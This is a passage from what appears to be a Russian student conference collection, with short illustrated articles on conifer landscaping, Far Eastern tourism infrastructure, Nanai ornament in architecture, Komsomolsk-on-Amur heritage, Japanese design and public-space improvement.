ми, изящным представителем является ель обыкновенная «АуреяМагнифика» и кипа-
рисовикгорохоплодный « СкварозаСульфуреа». Для акцентного сизого оттенка, стоит 
обратить внимание на сосну «Ватерери», ель «ПумилаГлаука» (рисунок 1в). 

Поговорим об основных принципах посадки и уходе за растениями. При подго-
товке почвы создается рыхлый, хорошо дренированный  и плодородный грунт, напи-
танный дерном, кислотность в такой массе должна получится нейтральногоPh. При 
частой посадке от каждого саженца делается отступ в 30-60 см, с последующей форми-
рующей обрезкой. Для хвойных с естественной формой кроны делается отступ уже в 
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60-120 см. Молодым саженцам впервые 5 лет жизни необходимо ежегодно вносить 
полный комплекс минеральных или органических удобрений каждый сезон, далее под-
кормки вводят раз 4 года. Как лучше размещать растения в композициях? Здесь форму 
будет диктовать функция, если у нас стоит задача создать фон или прикрыть непри-
глядный вид, то посадка будет плотной. При демонстрации декоративных качеств, по-
садка будет рыхлой, что бы была возможность рассмотреть всё растение. 

В вопросе сочетаемости  можно порекомендовать такие группы как ель с лист-
венницей, сосна с можжевельником и туей. Также будет хорошо смотреться ели на 
фоне кленов или каштанов, и кипарисовые среди  березы и осины. Все хвойные отлич-
но выглядят рядом с декоративными кустарниками по типу гортензии, чубушника и 
вейгелы. Для организации благоустройства ландшафтной среды необходим правиль-
ный подбор растений и это позволит хвойным стать достойным украшением любой 
композиции. Их использование поможет добиться высокой декоративности и вырази-
тельности участка. И если зритель получает эстетическое удовлетворение и приятные 
эмоции от полученного результата, то композиция удалась. 
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МЕЖДУНАРОДНЫЙ ОПЫТ В РАЗВИТИИ ТУРИСТИЧЕСКОЙ 
ИНФРАСТРУКТУРЕ И ЕГО ПРИМЕНЕНИЕ НА ДАЛЬНЕМ ВОСТОКЕ 
 
INTERNATIONAL EXPERIENCE IN THE DEVELOPMENT OF TOURISM  
INFRASTRUCTURE AND ITS APPLICATION IN THE FAR EAST 
 
Аннотация. Работа посвящена рассмотрению зарубежного опыта развития туристиче-
ской инфраструктуры и их реализация на Дальнем Востоке. Практика различных стран 
показывает на то, что можно обратить внимание и внедрить успешные инициативы, ко-
торые работают и способствуют повышению привлекательности края. Исследую клю-
чевые элементы обустройства, например транспортная инфраструктура, размещение и 
достопримечательности, и их действие на уровень туристического привлечения. Вы-
явив уникальные возможности для применения современных принципов и технологий, 
можно предложить адаптировать данные подходы к условиям крайнего севера.  
Annotation: The focus is on the consideration of foreign experience in the development of 
tourism infrastructure and their implementation in the Far East. The practice of various coun-
tries shows that it is possible to pay attention to and implement successful initiatives that work 
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and contribute to increasing the attractiveness of the region. I study the key elements of the 
arrangement, such as transport infrastructure, accommodation and attractions, and their effect 
on the level of tourist attraction. Having identified unique opportunities for the application of 
modern principles and technologies, it is possible to suggest adapting these approaches to the 
conditions of the far north. 
Ключевые слова: туристко-рекреационная среда, туризм, Дальний Восток, природные 
особенности, инфраструктура, анализ. 
Keywords: tourist and recreational environment, tourism, Far East, natural features, infra-
structure, analysis. 
 

Формирование туристической инфраструктуры становится одним из значимых 
факторов для притяжения туристов. Дальний Восток наделен единственным в своем 
роде потенциалом благодаря своему культурному разнообразию, природным ресурсам, 
а также историческому наследию. Международный опыт показывает на сколько можно 
развить туризм и какие интересные практики можно применить в условиях региона, 
приравненного к крайнему северу. Актуальность данной темы связана с ростом значи-
мости туристического потенциала как аспект экономического развития и социального 
синтеза регионов.  За последние события в стране прослеживается тенденция увеличе-
ния потока туристов в разных уголках мира, в том числе Дальний Восток, представля-
ющий уникальный край с богатыми ресурсами. Ввиду этого, качественная туристиче-
ская инфраструктура становится необходимым аспектом для притока туристов. Цель ра-
боты основывается в исследование международного опыта усовершенствования тури-
стической инфраструктуры и его внедрение и адаптация в условиях Дальнего Востока. 
Степень разработанности анализа варьируется, так как специфика региона, приравненно-
го к крайнему северу, диктует особые условия для развития туристического потока. Под-
нятый вопрос соединения международного опыта, в том числе влияние на развитие эко-
номики и экологии изучены не полностью, поэтому и является актуальным для исследо-
вания. Формированием туристического потенциала обладает ключевым значением для 
развития притяжения туристов. Зарубежная арена имеет множество примеров, подтвер-
ждающие, что организация инфраструктуры помогает не только увеличить туристиче-
ский поток, но и улучшит качество жизни населения. В данном ключе исследование 
международного опыта становится одним из важных для приспособления таких практик, 
особенно для Дальнего Востока. Аналогом эффективной практики может служить остров 
Исландия, который является одним из наиболее популярных туристических направлений 
за счет своих природных чудес. Они смогли удачно реализовать концепцию на основе 
естественных достопримечательностей, например, золотое кольцо – это маршрут, кото-
рый связывает гейзеры, водопады, а также национальный парк (рисунок 1). Не мало важ-
ным фактором является развитие сети общественного транспорта, которая обеспечивает 
легкий доступ к дальним знаковым местам.  

 
Рисунок 1 – Природные просторы, Исландия 
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Новая Зеландия славится привлечением туристов путем вариативности экологи-
ческого туризма. Примером может служить трекинговый маршрут, такой как Tongariro 
Alpine Crossing, который включает в себя однодневный поход, тем самым привлекает 
любителей активного отдыха (рисунок 2). Аутентичной моделью устойчивого туризма 
служит коммуникация с местными племенами Маори, которые позволяют туристам рас-
ширить свой кругозор и погрузиться в культуру и традиции страны. 

 
Рисунок 2 - Тонгариро Альпинистский Кросс, Новая Зеландия 

Данная страна фокусирует внимание на сохранение природных возможностей и 
культуре, что является актуальным и по сей день, что позволяет при влекать туристов, 
которые находятся в поиске нестандартных маршрутов 

Опыт зарубежных аналогов показывает, что есть возможность адаптировать 
природные изыски Дальнего Востока. Однако, стоит вспомнить, что данная территория 
имеет множество вызовов, с которыми придется столкнуться, а именно недостаточный 
инвестиционный фонд, слабое рекламное взаимодействие, при том отсутствуют совре-
менные стандарты по обслуживанию, что отделяет данный регион от успешных тури-
стически-ориентированных стран. Ключем к решению данных вопросов будет являться 
создание единого плана, который будет основываться на самых лучших практиках, ко-
торые будут адаптированы к местному региону. 

Использование зарубежных моделей и практик в области туристической инфра-
структуры помогает создать более удобную и привлекательную атмосферу для путеше-
ственников. Опыт стран с развитыми туристическими рынками демонстрирует, что 
комплексный подход к развитию инфраструктуры, охватывающий транспорт, гостини-
цы и туристические услуги, способствует повышению конкурентоспособности регио-
нов. Для успешного развития туристического потенциала можно использовать практи-
ки международного уровня, которые смогут прижиться и стать новым направлением 
для становления. Для региона, приравненного к крайнему северу, это значит примене-
ние природных ресурсов, совершенствование культурных инициатив и улучшение сер-
виса. Взаимодействие данных элементов предоставит не только привлечение новых ту-
ристов, но и сделает устойчивую экономику, которая основана на местных средствах и 
традиционном наследии региона. 

Анализируя территорию Дальнего Востока, можно прийти к выводу, что она 
представляет собой уникальное место, которая является единственной в своем роде и 
обладает большим рекреационным потенциалом. Международный опыт представляет 
ценные практики, которые необходимо применить для успешного развития туризма. 
Таким образом, формирование устойчивой и востребованной туристической инфра-
структуры требует комплексного подхода и усердного привлечения всех заинтересо-
ванных сторон. 
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СИМВОЛИКА НАНАЙСКИХ УЗОРОВ И ОРНАМЕНТОВ  
В АРХИТЕКТУРНОЙ СРЕДЕ 
 
THE SYMBOLISM OF NANAI PATTERNS AND ORNAMENTS  
IN THE ARCHITECTURAL ENVIRONMENT 
 
Аннотация. Нанайские узоры являются необходимостью сохранения и изучения куль-
турного наследия, которые в последние десятилетия подвергаются угрозе исчезновения 
под воздействием глобализации и культурной ассимиляции. Данная статья направлена 
в понимание различной символики нанайских узоров и орнаментов. Особое внимание 
будет уделено архитектурному применению узоров, и как эти элементы вписываются в 
архитектурные формы и как они влияют на восприятие пространства.  
Abstract. Nanai patterns are a necessity for the preservation and study of cultural heritage, 
which in recent decades have been threatened with extinction under the influence of globali-
zation and cultural assimilation. This article is aimed at understanding the various symbols of 
Nanai patterns and ornaments. Special attention will be paid to the architectural application of 
patterns, and how these elements fit into architectural forms and how they affect the percep-
tion of space. 
Ключевые слова: орнаменты, узоры, нанайская культура, архитектурная среда. 
Key words: ornaments, patterns, Nanai culture, architectural environment. 
 
 Нанайцы как и другие коренные народы Нижнего Амура, всегда отличались 
особой остротой эстетического миропонимания, что отражалось во всех сферах их 
жизни. Символика нанайских узоров и орнаментов представляет собой уникальную и 
многогранную область исследования, которая охватывает не только эстетические ас-
пекты, но и глубокие культурные, исторические и социальные контексты. Нанайцы, ко-
ренной народ Дальнего Востока России, обладают богатым наследием, уходящим кор-
нями в неолит, которое находит свое выражение в разнообразных узорах и орнаментах, 
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используемых в архитектурной среде. Эти узоры не просто декоративные элементы, но 
и важные носители культурной информации, отражающие мировосприятия народа, его 
связь с природой и традиции, передающиеся из поколения в поколение. 
 Актуальность данной работы обусловлена необходимостью сохранения и изуче-
ния культурного наследия нанайцев, которое в последние десятилетия подвергается 
угрозе исчезновения под воздействием глобализации и культурной ассимиляции. В 
условиях современного мира, где традиционные ценности и обычаи часто оказывается 
на обочине, важно осознать значимость символики нанайских узоров как средства пе-
редачи знаний о мире и обществе. Исследование этих орнаментов позволяет не только 
глубже понять культуру нанайцев, но и выявить уникальную идентичность, которая 
формировалась на протяжении тысячелетий. 
 Особое внимание будет уделено архитектурному применению узоров, где про-
анализируются элементы, вписывающиеся в различные архитектурные формы и как 
они влияют на восприятие пространства. Символизм спиральных мотивов, как одно из 
наиболее характерных элементов нанайского орнамента, будет рассмотрен в контексте 
его значения в культуре и философии нанайцев. Зооморфные изображения, представ-
ляющиеся собой важный аспект нанайского искусства, также займут центральное место 
в исследовании, поскольку они отражают взаимосвязь человека и природы, а также 
культурные представления о животных и их роли в жизни народа. Кроме того, работа 
затронет влияние нанайских узоров на современное искусство, что позволит увидеть, 
как традиционные элементы адаптируются и трансформируются в условиях современ-
ности. В заключение, будет рассмотрена проблема сохранения культурной идентично-
сти нанайцев в условиях глобализации, что является важной задачей для будущих по-
колений. Таким образом, данная работа направлена на комплексное исследование сим-
волики нанайских узоров и орнаментов в архитектурной среде, что позволит не только 
углубить знания о культуре нанайцев, но и внести вклад в сохранение их уникального 
наследия.  Нанайский орнамент как одно из высочайших явлений мирового искус-
ства развивался не одно тысячелетие. В творчестве мастеров прошедших веков орна-
мент нес в себе разносторонние знания наших предков, отражал их мировидение и ми-
ропонимание, традиции и самобытность народа, сохранял и развивал только ему 
(нанайскому орнаменту) присущие особенности. Это подтверждают работы мастеров (к 
сожалению, их имена остались неизвестными), чьи изделия, к счастью, бережно сохра-
няются в музейных коллекциях. В архитектурной среде нанайские узоры обретают осо-
бое значение, являясь выразительными элементами, присущи не только жилым и обще-
ственным сооружениям, но и различным объектам, связанным с культурной идентич-
ностью народа.  Эти орнаменты не являются простым украшением, они служат языком, 
на котором говорит культура, передавая знания и обычаи прошлого. Каждая линия, 
каждая деталь узора связана со специфическими значениями и символами, что рождает 
увлекательный диалог между архитектурой и традицией [1]. Узоры, вдохновленные 
природой, в частности растительными и животными мотивами, отражают гармонию, с 
которой нанайцы живут в согласии с окружающим миром. Таким образом, архитектур-
ные элементы становятся не только функциональными, но и метафорическими, несу-
щими в себе глубокие сообщения о связи человека с природой, о важности бережного 
обращения к окружающему миру. В этом контексте все элементы архитектуры стано-
вятся носителями культуры, от традиционных домов до современных общественных 
зданий (рисунок 1). 
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Рисунок 1 – Краеведческий музей нанайского района. 

 Отражая основной принцип нанайской культуры, орнаменты используются не 
только на фасадах зданий, но и в интерьере [4]. Ни могут встречаться на потолках, на 
стенах, дверях и окнах, создавая уникальную атмосферу, в которой каждый элемент 
становится важной частью общего ансабля. Узоры могут варьироваться от простых и 
геометрических до сложных зооморфных и растительных изображений, тем самым по-
казывая разнообразие и многослойность культурной традиции [3]. Архаические мотивы 
органично вплетаются в контексты, где современная архитектура и традиционные цен-
ности взаимодействуют, создавая пространство для диалога прошлого и настоящего. 
Значение архитектурного оформления с использованием нанайских узоров проясняет-
ся, если принять во внимание социальную и духовную значимость выбранных симво-
лов. Каждый узор может служить оберегом или символом защиты, выражая пожелания 
здоровья и благополучия [1]. Нанайцы издавна верили, что гармония в архитектуре, 
столь же важна, как и в жизни, и с помощью орнаментов они старались создавать мир, 
где каждое строение находится в взаимодействии с природными и духами предков. 
Использование узоров в архитектуре связано с ритуальными и социальными аспектами. 
в зависимости от расположения и функций зданий, орнамент может служить для обо-
значения статуса и принадлежности к определённой группе или сообществу. Совре-
менные здания часто демонстрируют тенденцию к интеграции традиционных орнамен-
тов и узоров в своей конструкции. 
 Традиционная основа этнического орнамента обеспечивает сохранение творче-
ского наследия предшествующих поколений. В ходе длительного развития и культур-
но-исторической фильтрации в нем остаются только безусловно высокохудожествен-
ные и жизнеспособные формы, наполненные глубоким, значимым для этноса содержа-
нием и смыслом. Орнамент выступает своеобразной формой художественной памяти 
народа, связывающей прошлое с настоящим. Связь же настоящего с будущим в худо-
жественной традиции осуществляется через творчество современных художников и ма-
стеров. Применение нанайских узоров в архитектурной практике также можно рас-
сматривать как способ экологической осознанности [3]. Построенные на основе тради-
ционных знаний, здания с орнаментами указывают на необходимость учитывать окру-
жающую среду в проектировании. Использование природных материалов и местных 
ресурсов отражает подход к архитектуре, где охрана природы и признание ее значимо-
сти становится важной частью процесса создания [3]. 
 На фоне современного архитектурного поиска старания по сохранению тради-
ционных узоров и их адаптации для новых форм создают мост, связывающий нанай-
скую культуру с будущими поколениями. Это становится особенно актуальным в усло-
виях городской среды, где идентичность и связь с природой могут потеряться. Проек-
тирование с использованием узоров позволяет не только сохранить настоящую куль-
турную сущность, но и создает возможности для укрепления чувства общности среди 
людей. Современные архитекторы, использующие нанайские орнаменты, не только ве-
дут диалог с культурным наследием, но и создают новые формы, которые могут быть 
восприняты будущими поколениями. Это направление дает возможность осознавать 
искусство не как статичное явление, а как непрерывный процесс, где узоры становятся 
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не только элементами архитектуры, но и живыми символами, наследием, сохраняемым 
и возрастным за счет ее применения в новых контекстах. Нанайский орнамент, без-
условно, высокохудожественное явление традиционной культуры. Это подтверждается 
совершенством и разнообразием орнаментальных форм и мотивов, цельностью и бес-
конечным многообразием композиционных решений, безупречным соотношением де-
кора и формы предмета, а также высочайшим техническим мастерством исполнения 
изделий. Орнамент нанайцев является достижением национального художественного 
гения, бесценным вкладом в сокровищницу мирового орнаментального искусства и эт-
нических культур [1]. 
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Анотация. Актуальность данного исследования обусловлена недостаточной осведомлен-
ностью о значении культурно-исторических объектов в формировании архитектурного 
облика города. Несмотря на наличие 131 объекта культурного наследия, многие из них 
остаются недооцененными как в глазах местных жителей, так и в контексте более широ-
кого культурного дискурса. В условиях современности, когда вопросы сохранения исто-
рического наследия становятся все более актуальными, важно осознать, как именно эти 
объекты влияют на архитектурное развитие и восприятие города. Исследование культур-
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но-исторических объектов позволит не только выявить их вклад в архитектурный облик, 
но и понять, как они формируют идентичность города и его жителей. 
Annotation. The relevance of this study is due to the lack of awareness about the importance of 
cultural and historical sites in shaping the architectural appearance of the city. Despite the pres-
ence of 131 cultural heritage sites, many of them remain undervalued both in the eyes of local 
residents and in the context of broader cultural discourse. In modern times, when issues of pre-
serving historical heritage are becoming more urgent, it is important to understand exactly how 
these objects affect the architectural development and perception of the city. The study of cul-
tural and historical sites will allow not only to identify their contribution to the architectural ap-
pearance, but also to understand how they form the identity of the city and its inhabitants. 
Ключевые слова: культурно-исторические объекты, материальное наследие, архитек-
турные памятиники, историческая память, историческая ценность, сохранение насле-
дие,традиции, культурное разнообразие, культурные маршруты, влияние на ди-
зайн,современные интепретации. 
Key words: cultural and historical objects, material heritage, architectural memorabilia, his-
torical memory, historical value, preservation of heritage, traditions, cultural diversity, cultur-
al routes, influence on design, modern interpretations. 
 

Комсомольск-на-Амуре, расположенный на Дальнем Востоке России, представляет 
собой уникальный пример города, чья архитектурная идентичность формировалась под 
влиянием множества факторов, включая культурные, исторические и социальные аспекты. 
Основанный в 1932 году как центр судостроительной промышленности, город быстро раз-
вивался, привлекая людей из различных уголков страны. Это привело к образованию мно-
гообразной архитектурной среды, в которой переплетаются элементы различных стилей и 
эпох. Важнейшую роль в формировании архитектурного облика Комсомольска-на-Амуре 
играют культурно-исторические объекты, которые не только служат свидетельством исто-
рического наследия, но и влияют на восприятие городской идентичности. В рамках данной 
работы будут освещены несколько ключевых тем, каждая из которых играет важную роль 
в понимании архитектурного развития Комсомольска-на-Амуре. Первая тема — историче-
ские предпосылки архитектурного развития города. Здесь будет рассмотрено, как различ-
ные исторические события, такие как индустриализация и миграционные процессы, по-
влияли на формирование архитектурного пространства.  

 
Рисунок 1 – Пример архитектуры, администрация г. Комсомольска-на-Амуре, 

 отражающей социалистические идеалы 
Исполнение идеалов соцреализма придавало городу особый статус, который сим-

волизировал новое социалистическое государство и отражал социальные изменения, 
происходившие в стране. Архитектура города стала свидетелем построения новой социо-
культуры, что наглядно демонстрирует стремление к реализации идеалов коммунизма 
через архитектурные формы, функциональность и эстетическую выразительность. Влия-
ние культурно-исторических объектов на архитектурное развитие города неоспоримо: 
они служат своеобразными «вратами» в историю, способствующими формирования ар-
хитектурного облика и его дальнейшему развитию на протяжении нескольких десятиле-
тий .  
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Таким образом, просмотр исторических предпосылок формирования архитектуры 
Комсомольска-на-Амуре наглядно демонстрирует, как культурные традиции и историче-
ские события формируют градостроительное наследие, которое продолжает оказывать 
влияние и в современности. Вторая тема — архитектурные стили и их отражение в го-
родской застройке. Мы проанализируем, какие стили доминировали в разные периоды и 
как они отразили культурные и социальные изменения в обществе. 

 
Рисунок 2 – Архитектурные стили в Комсомольске-на-Амуре. 

«Сталинский ампир». Жилой дом на ул. Мира, 43 
Комсомольск-на-Амуре, основанный в 1932 году, стал символом новой архитек-

турной эпохи в советской России. Архитектурные стили, которые были популярны в то 
время, определили не только облик города, но и создаваемое им культурное наследие. 
Город был заложен как важный промышленный центр, что повлияло на выбор архитек-
турных решений и градостроительных концепций. Периоды конструктивизма и функ-
ционализма в 1920-е годы сменились на более монументальные и помпезные формы 
сталинского ампира. Архитектурная концепция Комсомольска была сформирована с 
учетом исторического контекста. Город задумывался как образец советской культуры, 
демонстрируя идеалы нового общества. Эта идея прослеживается в подходе к застрой-
ке, где каждый объект выполняет не только утилитарную функцию, но и предназначен 
для того, чтобы вызывать эмоции и гордость у его жителей. 

Третья тема — типовая застройка как элемент архитектурного образа.  

 
Рисунок 3 – Планы и карты типовой застройки Комсомольска-на-Амуре 
Историческая привязка к стилю застройки определяет не только архитектурный 

ландшафт, но и социокультурные аспекты, в которые вплетены элементы городских 
традиций и обычаев. Таким образом, типовая застройка, хотя и может восприниматься 
как унификация, создает основу для будущих инноваций в развитие города, предлагая 
новые возможности для адаптации и преобразования.  

Подход к архитектуре в Комсомольске-на-Амуре иллюстрирует, как традиции и 
стандарты взаимодействию с современными вызовами могут способствовать развитию 
города. Это требует поиска компромиссов между сохранением архитектурного насле-
дия и созданием современных пространств, способных отражать дух времени. В этом 
разделе будет исследовано, как типовые проекты застройки, разработанные в советский 
период, повлияли на облик города и его функциональное использование. Четвертая те-
ма — объекты культурного наследия: категории и их значение.  
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Рисунок 4 – Примеры объектов культурного наследия в Комсомольске-на-
Амуре, дом федеральной службы безопасности. Проспект Мира 17 

Мы рассмотрим, какие категории объектов культурного наследия существуют в 
Комсомольске-на-Амуре и как они влияют на восприятие города как культурного про-
странства. Комсомольск-на-Амуре располагает богатым культурным наследием, кото-
рое играет ключевую роль в архитектурном развитии города. На состоянии на 2024 год 
в городе зарегистрировано 69 объектов культурного наследия, из которых 7 являются 
памятниками архитектуры и градостроительства. Это разнообразие отражает не только 
историческую ценность, но и эстетические и функциональные аспекты городской сре-
ды. Среди наиважнейших объектов выделяются такие, как комплекс зданий авиацион-
ного завода, дом со шпилем и кинотеатр "Комсомолец". Важность архитектурного 
наследия связана с его способностью формировать идентичность города. Таким обра-
зом, влияние культурных объектов на архитектурное развитие Комсомольска-на-Амуре 
нельзя недооценивать. Каждый из памятников представляет собой единицу анализа, 
позволяющую не только погрузиться в исторический контекст, но и наметить пути для 
дальнейшего развития города. 

Наконец, последняя тема – перспективы сохранения культурных объектов в со-
временном контексте. В условиях глобализации и урбанизации важно рассмотреть, как 
можно сохранить уникальные черты архитектурного наследия Комсомольска-на-
Амуре, а также какие меры могут быть предприняты для их защиты и популяризации. 

Комсомольск-на-Амуре, как яркий пример советской архитектуры, обладает бо-
гатым культурным наследием, представленным множеством объектов, которые подле-
жат охране на государственном уровне. На сегодняшний день на территории города за-
регистрировано 69 объектов культурного наследия, среди которых 7 являются памят-
никами архитектуры, а 3 – памятниками ландшафтной архитектуры местного значения. 
Эти структуры не только представляют собой архитектурные достижения, но и играют 
важную роль в формировании культурной идентичности города. Ключевыми объекта-
ми культурного наследия, сохраняющими память о прошлом, являются «Дворец куль-
туры им. 50-летия Октября» и «Кинотеатр 30 лет Октября». Успех в деле сохранения 
культурных объектов зависит от взаимодействия различных слоев общества: власти, 
архитекторов, историков и простых граждан. Устойчивое развитие культурной среды 
возможно лишь при условии, что все заинтересованные стороны будут работать в од-
ном направлении, создавая комфортные условия для жизни и гармоничное сосущество-
вание прошлого и будущего 

Таким образом, наше исследование подчеркивает важность культурно-
исторических объектов в формировании архитектурного облика Комсомольска-на-
Амуре и их значимость для жителей города. Важно продолжать изучение и популяри-
зацию этих объектов, чтобы сохранить их для будущих поколений и обеспечить гармо-
ничное развитие городской среды. В конечном итоге, архитектура – это не только зда-
ния и сооружения, но и отражение истории, культуры и идентичности народа, что дела-
ет ее важным элементом в жизни каждого города. 
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Аннотация. Особенности культуры, характерные для страны являются  фундаментом 
для различных стилей дизайна. отражающих разнообразие и неповторимость каждого 
уголка нашего мира. Японский дизайн – это не просто стиль, а целая философия жизни. 
Он отражает дух японской культуры и вдохновляет людей во всем мире, стремиться к 
гармонии, простоте, и красоте. В рамках данной работы мы познакомимся с разновид-
ностями японского дизайна, их истоками и изучим для себя что-то новое. 
Annotation. Japanese design is not just a style, but a whole philosophy of life. It reflects the 
spirit of Japanese culture and inspires people around the world to strive for harmony, simplici-
ty and beauty. In this work, we will get acquainted with the varieties of Japanese design, their 
origins and discover something new. 
Ключевые: слова: японский дизайн, традиция, философия, гармония, культура. 
Keywords: japanese design, tradition, philosophy, harmony, culture. 
 

В современном мире дизайн занимает важную роль в жизни людей, и открывает 
новые пространства для реализации самых разнообразных творческих замыслов. В сво-
ей повседневной жизни мы постоянно встречаем вещи и объекты, произведенные по-
средством дизайна: архитектура, мебель, сувенирная продукция и даже различная тех-
ника. Дизайн несет в себе эстетику, эргономичность, полезность и придает уникальный 
стиль всему, чего касается. Разнообразная культура стран стала фундаментом для раз-
личных стилей дизайна, отражающих особенности и неповторимость каждого уголка 
нашего мира. Япония, с ее уникальными традициями, внесла значительный вклад в раз-
витие дизайна и создала свой собственный стиль. Цель статьи: изучение японской 
культуры и дизайна. Задачи статьи: понять и осознать философию японского дизайна, 
выявить различия и сочетания в традиционной и актуальной культуре, развить свое 
критическое и аналитическое мышление, стимулировать собственное творчество.  

Японский дизайн – это не просто модная тенденция, а целая философия, привле-
кающая людей по ряду причин: загадочность Востока, красота, функциональность. Но 
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что значит выражение «сделать в японском стиле»? Чтобы в этом разобраться, следует 
рассмотреть японский дизайн на трех уровнях: Формальный уровень – он касается тех 
черт, которые мы привыкли видеть, и часто узнаем в японском стиле: минимализм, свет-
лые тона, использование натуральных материалов, строгие формы, элементы традицион-
ной культуры - футон, ширма, икебана. Канонический уровень – это философские прин-
ципы, лежащие в основе японского дизайна:  

Ваби-саби – философия, которая ценит красоту несовершенства и простоты. 
Минимализм – стремление к простоте и функциональности (рисунок 1). 

 
Рисунок 1 — Пример минимализма 

Сочетание с природой – использование натуральных материалов (дерево, ка-
мень, бамбук), привлечение природного света. 

Гармония – создание баланса между элементами интерьера, цветами, текстурами 
и пропорциями. Концептуальный уровень – на этом уровне пространство должно обес-
печивать взаимосвязь человека и природы, созерцание и медитацию, отсутствие гро-
моздкой мебели, что символизирует уважение к пространству и другое. 

Японская культура имеет многовековую историю, но понятие «дизайн» для нее 
является относительно новым. Безусловно, оно зарождалось на традициях и обычаях 
страны, но взаимодействие с другими культурами и влияние различных стилей привели 
к формированию нескольких направлений в дизайне: 

Национальный дизайн – основан на традиционных японских ценностях, матери-
алах и формах. Смешанный дизайн – сочетает элементы традиционного японского ди-
зайна с современными тенденциями. 

Интернациональный дизайн – отражает мировые тенденции в дизайне, но с 
японской индивидуальностью. 

Итак, теперь приведем различные примеры и рассмотрим японский дизайн на 
всех уровнях и направлениях. 

Входя в традиционный японский дом (рисунок 2), ты ощущаешь спокойствие и 
гармонию в душе. Все вокруг наполнено умиротворением. Просторные комнаты с низ-
кими потолками, натуральное дерево и бамбук в интерьере окутывают теплотой и 
уютом. Простые линии и минимализм обретают элегантность благодаря таким деталям, 
как ширма и футон – символ спокойствия и простоты. А большие окна создают тесную 
связь между человеком и окружающим миром. 

  
Рисунок 2 – Традиционный японский дом внутри 
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Да, традиционный японский дизайн очень прост в своем проявлении, но для всех 
удобств современной жизни ему не хватает функциональности. Например, в японском 
доме может быть не так много розеток и мест для гаджетов, также часто отсутствуют 
перегородки между комнатами. Это делает пространство более открытым и свободным, 
но, в свою очередь, такая планировка может быть некомфортна для больших семей. 
Причины таковы: необходимость в большем количестве отдельных пространств и 
ощущении приватности, ограничения возможностей для заполнения пространства до-
полнительными шкафами. Ведь актуальной остается проблема недостатка места для 
хранения вещей, так как в японской философии важно очистить пространство от не-
нужных объектов, чтобы создать чувство простора и гармонии. У японцев привычка к 
запасанию вещей практически не распространена, поэтому отдают предпочтение толь-
ко необходимому. Традиционный японский дизайн является отражением японской 
культуры и традиций. Для человека из другой страны он может не создавать должного 
комфорта. Для некоторых такой дизайн может показаться слишком скучным из-за от-
сутствия ярких красок и декоративных элементов и даже дорогим при использовании 
натуральных материалов, таких как дерево, бамбук, которые еще и требуют особого 
ухода. Но, как и любые другие явления, дизайн не стоит на месте. Он эволюционирует, 
наполняясь различными новыми технологиями и идеями. Так появился смешанный 
японский дизайн. Он стал результатом гармоничного слияния традиционных японских 
элементов с лучшими достижениями мирового дизайна. Этот переломный момент про-
изошел в эпоху Мэйдзи (конец XIX - начало XX века). Тогда данный синтез наиболее 
ярко проявился в оформлении мебели и создании бытовой техники, электроники. Для 
этого осуществляется поиск талантливых дизайнеров, которые будут готовы создавать 
эти проекты. Они перенимают зарубежный опыт и успешно вводят новшества в свою 
культуру, создавая уникальные вещи.  Примером могут быть традиционные японские 
керамические изделия, известные своей простотой и красотой. В современной интер-
претации, используются традиционные техники и материалы, но добавляются в дизайн 
яркие цвета, нестандартные формы и различные декоративные элементы (рисунок 3). 

 
Рисунок 3 –Современное керамическое японское изделие 

Японская мебель отличается функциональностью и минимализмом. Современ-
ные дизайнеры разрабатывают модульную мебель, которая легко трансформируется, 
адаптируясь к различным потребностям людей. Такая мебель идеально подходит для 
маленьких квартир, где важно оптимизировать пространство (рисунок 4).  

 
Рисунок 4 –Современная японская детская комната 
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Котацу - традиционный японский столик с обогревателем. Японские дизайнеры 
переосмыслили его функцию и форму и создали стильные варианты с встроенной си-
стемой обогрева, подсветкой и даже розетками для подзарядки гаджетов.  

Также стоит отметить интернациональный японский дизайн. Несмотря на то, что 
такой дизайн подразумевает под собой чужеродный стиль, он все же сохраняет нацио-
нальный колорит. Самый популярный пример такого дизайна – использование япон-
ских принципов минимализма и гармонии в международных проектах.  

Таким образом можно сделать вывод, что выражение «сделать в японском сти-
ле» – значит привнести в свой проект утонченность, эргономичность и красоту япон-
ской культуры. Это должно быть не просто копирование внешних деталей, а проникно-
вение сутью японской философии. Из всего вышесказанного мы поняли, что в япон-
ской культуре нет четкой границы между материальным и духовным миром. Оба вос-
принимаются как единое целое, полное гармонии и красоты. Традиционная архитекту-
ра Японии с ее садами, парками и внутренними планировками помещений, а также жи-
вопись, ремесла – все это дополняет окружающую среду, гармонирует с природой и 
непредсказуемой погодой. Для дизайнеров интерьеров, ландшафтов эта тема будет 
очень интересна для изучения. Она поможет понять, осознать философию японского 
дизайна и в дальнейшем использовать полученные сведения в своих проектах  Также, 
изучение данной темы позволило нам выявить различия и сочетания в традиционной и 
актуальной культуре, выбрать для себя наилучший вариант, а также развить свое кри-
тическое и аналитическое мышление, стимулировать собственное творчество.  
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THE IMPACT OF PUBLIC SPACE IMPROVEMENT ON THE LIFE  
OF A CITY DWELLER ON THE EXAMPLE OF THE SQUARE ALONG  
THE TRUNK HIGHWAY, 23/5, 25/1, 25/2, 27/3 IN KOMSOMOLSK-ON-AMUR 
 
Аннотация. В статье рассматривается влияние благоустройства общественного про-
странства на уровень жизни городского жителя. И как следствие на удовлетворённость. 
Целью данной работы является выявление зависимости между качеством благоустрой-
ства и благосостоянием местных жителей, а также анализ социальных и эстетических ас-
пектов, играющих ключевую роль в формировании комфортной городской среды. Статья 
призвана показать значимость реновации и благоустройства общественных пространств 
для комфортного и эффективного проживания человека в условиях городской среды. 
Annotation. The article examines the impact of public space improvement on the standard of 
living of a city dweller. And as a result, satisfaction. The purpose of this work is to identify 
the relationships between the quality of landscaping and the well-being of local residents, as 
well as to analyze the social and aesthetic aspects that play a key role in shaping a comforta-
ble urban environment. The article aims to show the importance of renovation and improve-
ment of public spaces for comfortable and efficient human living in an urban environment. 
Ключевые слова: благоустройство, общественное пространство, сквер. 
Keywords: landscaping, public space, public garden. 

 
На данный момент вопрос качественного благоустройства общественных терри-

торий только набирает свою остроту. В связи с возросшей урбанизацией человек наибо-
лее сильно нуждается в визуальном разнообразии и гармоничности форм вокруг себя. 
Наибольшая потребность в данный момент касается качественного наполнения домовых 
и придомовых территорий, а также оформления скверов возле них. Актуальность темы 
связана с обострившимся вниманием, как властей, так и самих жителей города к вопросу 
благоустройства дворовых территорий и общественных пространств. Особенно на окра-
инах города. С одной стороны, проживание в центре города может вызывать стресс из-за 
нестабильности окружающей среды и более активного образа жизни. С другой – цен-
тральные районы города оказывают на многих людей значительное притяжение, благо-
даря их близости к финансовым центрам, средствам массовой информации, развитой ин-
